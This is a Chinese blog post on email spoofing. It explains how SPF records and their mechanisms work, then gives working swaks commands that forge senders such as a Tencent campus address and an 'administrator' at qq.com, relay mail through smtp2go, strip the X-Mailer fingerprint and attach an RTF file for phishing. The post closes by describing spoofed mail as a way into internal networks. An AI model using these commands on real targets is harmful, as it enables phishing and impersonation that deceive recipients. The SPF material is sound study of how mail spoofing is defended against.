浅析邮件伪造
SPF配置
spf全称为(Sender Policy Framework),即发件人策略框架
目前所进行的邮件通信,使用的是smtp协议(Simple Mail Transfer Protocol),即简单邮件传输协议。但是smtp是没有很好的安全措施的,一个简单的例子为:发件人的邮箱地址可以由发信方任意声明,即发件人邮箱伪造。
spf就是为了解决这个问题,spf的原理:
假设邮件服务器收到了一封邮件,发件人的IP为:192.6.6.6,并且声称发件人为 email@example.com。为了确认发件人不是伪造的,邮件服务器会查询 example.com
的spf记录。如果该域的spf记录设置允许IP为 192.6.6.6 主机发送邮件,则服务器认为这封邮件是合法的,否则,会退信(即收件人收不到邮件),或者邮件躺在垃圾箱。邮箱伪造可以声明他来自example.com
,但是却无法操作 example.com
的 DNS解析记录,也无法伪造自己的IP地址,所以SPF还是可以有效防御邮件伪造的。
通俗的来讲,A 和 B 两个人建立通信,A向B发送信息,B 检查 A是不是在常用地(白名单)发的信息,如果不是,则拒收信息。
SPF 记录的语法
一条 SPF 记录定义了一个或者多个 mechanism(机制),而 mechanism 则定义了哪些 IP 是允许的,哪些 IP 是拒绝的。
这些 mechanism 包括以下几类:
1 | all | ip4 | ip6 | a | mx | ptr | exists | include |
每个 mechanism 可以有四种前缀:
1 | "+" Pass(通过) |
测试时,将从前往后依次测试每个 mechanism。如果一个 mechanism 包含了要查询的 IP 地址(称为命中),则测试结果由相应 mechanism 的前缀决定。默认的前缀为+
。如果测试完所有的 mechanisms 也没有命中,则结果为 Neutral。
除了以上四种情况,还有 None(无结果)、PermError(永久错误)和 TempError(临时错误)三种其他情况。对于这些情况的解释和服务器通常的处理办法如下:
结果 | 含义 | 服务器处理办法 |
---|---|---|
Pass | 发件 IP 是合法的 | 接受来信 |
Fail | 发件 IP 是非法的 | 退信 |
Soft Fail | 发件 IP 非法,但是不采取强硬措施 | 接受来信,但是做标记 |
Neutral | SPF 记录中没有关于发件 IP 是否合法的信息 | 接受来信 |
None | 服务器没有设定 SPF 记录 | 接受来信 |
PermError | 发生了严重错误(例如 SPF 记录语法错误) | 没有规定 |
TempError | 发生了临时错误(例如 DNS 查询失败) | 接受或拒绝 |
注意,上面所说的「服务器处理办法」仅仅是 SPF 标准做出的建议,实际测试中,并非所有的邮件服务器都严格遵循这套规定。还是要仔细看。
Mechanisms(机制)
下面介绍上面提到的 mechanism,mechanism 是规则,而上面说的服务器处理办法是服务器的返回值,简单来说,mechanism是因,服务器处理办法是果。
all
表示所有 IP,肯定会命中。因此通常把它放在 SPF 记录的结尾,表示处理剩下的所有情况。例如:
1 | "v=spf1 -all" 拒绝所有(表示这个域名不会发出邮件) |
ip4
格式为ip4:<ip4-address>
或者ip4:<ip4-network>/<prefix-length>
,指定一个 IPv4 地址或者地址段。如果prefix-length
没有给出,则默认为/32
。例如:
1 | "v=spf1 ip4:192.168.0.1/16 -all" |
ip6
格式和ip4
的很类似,默认的prefix-length
是/128
。例如:
1 | "v=spf1 ip6:1080::8:800:200C:417A/96 -all" |
a 和 mx
这俩的格式是相同的,以a
为例,格式为以下四种之一:
1 | a |
会命中相应域名的 a 记录(或 mx 记录)中包含的 IP 地址(或地址段)。如果没有提供域名,则使用当前域名。例如:
1 | "v=spf1 mx -all" |
例如,这是一个比较常见的 SPF 记录,它表示支持当前域名的 a 记录和 mx 记录,同时支持一个给定的 IP 地址;其他地址则拒绝:
1 | v=spf1 a mx ip4:173.194.72.103 -all |
include
格式为include:<domain>
,表示引入<domain>
域名下的 SPF 记录。注意,如果该域名下不存在 SPF 记录,则会导致一个PermError
结果。例如:
1 | "v=spf1 include:example.com -all" 即采用和 example.com 完全一样的 SPF 记录 |
exists
格式为exists:<domain>
。将对<domain>
执行一个 A 查询,如果有返回结果(无论结果是什么),都会看作命中。
ptr
格式为ptr
或者ptr:<domain>
。使用ptr
机制会带来大量很大开销的 DNS 查询,所以连官方都不推荐使用它。
关于v=spf1
这是必须的,表示采用 SPF 1 版本,现在它的最新版本就是第 1 版。
Modifiers
SPF 记录中还可以包括两种可选的 modifier;一个 modifier 只能出现一次。
redirect
格式为redirect=<domain>
将用给定域名的 SPF 记录替换当前记录。
exp
格式为exp=<domain>
,目的是如果邮件被拒绝,可以给出一个消息。而消息的具体内容会首先对<domain>
执行 TXT 查询,然后执行宏扩展得到。
查看目标服务器的spf配置信息
1 | dig +short TXT xxx.com |
根据上面的小知识,这里可以判断出:
使用的spf1版本的spf,include 后面 采用和 tencent.com qq.com完全一样的spf记录,-all,硬拒绝
swaks使用
1 | --from test@qq.com //发件人邮箱; |
最开始是拿自己的qq邮箱测试,但是收不到邮件,下面也指出了原因,因为qq.com作为发信域名设置了spf,这里导致伪造失败。
这是伪造的tencent.com
换了个邮箱,发信成功
关于swaks更高级的用法这里就不说了,网上都可以找到。
找到邮箱中的邮件,导出为eml文件,to后面改为目标邮箱
1 | swaks --to xxx@qq.com --from campus@tencent.com --data test.eml --header "Subject: 入职提醒" |
可恶啊,还是失败了
smtp2go
从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。
https://support.smtp2go.com/hc/en-gb
下文有提到,倾璇师傅利用python实现了工具化。
去除Mailer特征
1 | swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> |
附件钓鱼
1 | swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf |
脚本伪造
是朋友根据倾璇师傅的脚本改的。倾璇师傅用的smtp2go,这里改了88邮箱。
在88邮箱开个smtp服务,利用88邮箱作为发件箱
看结果
因为不是源码不是我写的,没办法贴出来
总结
swaks玩的好的话,配合钓鱼的手法,很容易可以撕开权限入口。钓鱼的手法多种多样,需要天马行空的想象,思路要骚,进入内网漫游一圈后,运气好的话,就不需要伪造发件人了嘿嘿。这篇文章只是浅析邮件伪造,更多关于smtp协议的知识我也没有深入去学习,暂时感觉还没有这个必要。
参考链接:
1 | https://payloads.online/archivers/2019-05-09/1/ |
Peace.